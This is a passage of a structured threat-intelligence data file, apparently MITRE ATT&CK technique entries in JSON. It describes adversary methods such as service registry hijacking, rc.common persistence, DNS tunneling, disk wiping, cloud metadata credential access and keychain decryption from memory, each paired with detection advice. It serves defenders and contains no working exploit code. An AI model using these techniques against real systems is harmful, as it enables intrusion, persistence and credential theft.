2017."},{"source_name":"malware_hides_service","url":"https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/","description":"Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021."},{"source_name":"Kansa Service related collectors","url":"https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html","description":"Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019."},{"source_name":"Tweet Registry Perms Weakness","url":"https://twitter.com/r0wdy_/status/936365549553991680","description":"@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018."},{"source_name":"microsoft_services_registry_tree","url":"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree","description":"Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021."},{"source_name":"insecure_reg_perms","url":"https://itm4n.github.io/windows-registry-rpceptmapper-eop/","description":"Clément Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021."},{"source_name":"troj_zegost","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost","description":"Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021."},{"source_name":"Autoruns for Windows","url":"https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns","description":"Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020."}],"modified":"2021-10-14T23:52:52.058Z","name":"Services Registry Permissions Weakness","description":"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll</code>.(Citation: malware_hides_service)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Service: Service Modification","Process: Process Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Application control"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":["SYSTEM"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532","type":"attack-pattern","created":"2020-10-02T16:57:45.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1596.001","url":"https://attack.mitre.org/techniques/T1596/001"},{"source_name":"DNS Dumpster","url":"https://dnsdumpster.com/","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."},{"source_name":"Circl Passive DNS","url":"https://www.circl.lu/services/passive-dns/","description":"CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:49:13.409Z","name":"DNS/Passive DNS","description":"Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9","type":"attack-pattern","created":"2020-02-20T15:35:00.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1499.003","url":"https://attack.mitre.org/techniques/T1499/003"},{"source_name":"Arbor AnnualDoSreport Jan 2018","url":"https://web.archive.org/web/20180320005525/https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf","description":"Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."},{"source_name":"Cisco DoSdetectNetflow","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."}],"modified":"2022-03-25T18:07:45.176Z","name":"Application Exhaustion Flood","description":"Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","Application Log: Application Log Content","Sensor Health: Host Status"],"x_mitre_impact_type":["Availability"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1163","url":"https://attack.mitre.org/techniques/T1163"},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html","description":"Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.","source_name":"Startup Items"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"}],"modified":"2020-01-15T16:27:32.362Z","name":"Rc.common","description":"During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["root"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720","created":"2020-03-11T14:13:42.916Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1195.001","url":"https://attack.mitre.org/techniques/T1195/001"},{"source_name":"Trendmicro NPM Compromise","url":"https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets","description":"Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)  \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ","modified":"2022-04-19T20:10:09.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Compromise Software Dependencies and Development Tools","x_mitre_detection":"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":[],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421","type":"attack-pattern","created":"2020-10-01T02:14:18.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1588.004","url":"https://attack.mitre.org/techniques/T1588/004"},{"description":"Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.","source_name":"DiginotarCompromise","url":"https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"},{"source_name":"Let's Encrypt FAQ","url":"https://letsencrypt.org/docs/faq/","description":"Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020."},{"source_name":"Splunk Kovar Certificates 2017","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."},{"source_name":"Recorded Future Beacon Certificates","url":"https://www.recordedfuture.com/cobalt-strike-servers/","description":"Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020."}],"modified":"2021-10-16T17:44:09.486Z","name":"Digital Certificates","description":"Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content","Certificate: Certificate Registration"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81","type":"attack-pattern","created":"2020-10-01T00:40:45.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1583.002","url":"https://attack.mitre.org/techniques/T1583/002"},{"source_name":"Unit42 DNS Mar 2019","url":"https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/","description":"Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020."}],"modified":"2021-04-15T02:49:49.702Z","name":"DNS Server","description":"Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967","type":"attack-pattern","created":"2020-02-20T22:02:20.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1561","url":"https://attack.mitre.org/techniques/T1561"},{"source_name":"Novetta Blockbuster Destructive Malware","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"},{"url":"https://docs.microsoft.com/sysinternals/downloads/sysmon","description":"Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.","source_name":"Microsoft Sysmon v6 May 2017"}],"modified":"2020-03-28T23:00:00.599Z","name":"Disk Wipe","description":"Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Driver: Driver Load","Drive: Drive Access","Drive: Drive Modification"],"x_mitre_impact_type":["Availability"],"x_mitre_permissions_required":["User","root","SYSTEM","Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jan Petrov, Citi"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","type":"attack-pattern","created":"2020-03-15T16:27:31.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1071.004","url":"https://attack.mitre.org/techniques/T1071/004"},{"source_name":"PAN DNS Tunneling","url":"https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling","description":"Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020."},{"source_name":"Medium DnsTunneling","url":"https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000","description":"Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020."},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-10-21T16:26:34.196Z","name":"DNS","description":"Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for DNS traffic to/from known-bad or suspicious domains.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3","type":"attack-pattern","created":"2020-02-11T18:47:46.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1552.005","url":"https://attack.mitre.org/techniques/T1552/005"},{"source_name":"AWS Instance Metadata API","url":"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html","description":"AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019."},{"source_name":"Krebs Capital One August 2019","url":"https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/","description":"Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020."},{"description":"Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.","url":"https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse","source_name":"RedLock Instance Metadata API 2018"}],"modified":"2022-03-08T21:37:23.589Z","name":"Cloud Instance Metadata API","description":"Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor access to the Instance Metadata API and look for anomalous queries.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["User Account: User Account Authentication"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72","type":"attack-pattern","created":"2020-02-12T18:56:31.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1555.002","url":"https://attack.mitre.org/techniques/T1555/002"},{"url":"http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain","description":"Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.","source_name":"OS X Keychain"},{"url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","source_name":"OSX Keydnap malware"},{"url":"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way","description":"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.","source_name":"External to DA, the OS X Way"}],"modified":"2022-03-08T21:43:20.609Z","name":"Securityd Memory","description":"An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Access"],"x_mitre_permissions_required":["root"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ted Samuels, Rapid7","Jonhnathan Ribeiro, 3CORESec, @_w0rk3r"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b","type":"attack-pattern","created":"2021-08-06T13:10:12.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1615","url":"https://attack.mitre.org/techniques/T1615"},{"source_name":"TechNet Group Policy Basics","url":"https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/","description":"srachui. (2012, February 13). Group Policy Basics – Part 1: 